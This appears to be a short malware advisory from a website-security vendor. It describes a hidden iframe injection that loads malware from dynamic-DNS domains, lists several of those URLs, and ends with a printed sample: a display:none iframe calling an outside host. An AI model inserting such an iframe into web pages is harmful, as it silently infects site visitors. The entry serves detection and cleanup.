Description:
A hidden and suspicious javascript (or iframe) was found on the site. It is loaded from a free dynamic IP address (or domain) and meant to infect visitors of the site. Loads malware from multiple locations:
http://qqq-111.zapto.org/show.php
http://fwjiwjieje.mooo.com
http://update-java.kit.net/java.js
(and many other domains).Affecting:
Any web site
Clean up:
This malware is generally hidden on .js or .php files without heavy encoding. Sign up here to get it cleaned: http://sucuri.net/signup
Malware dump (sample of malware):
<iframe style="display:none"src="http://qqq-111.zapto.org/show.php"></iframe>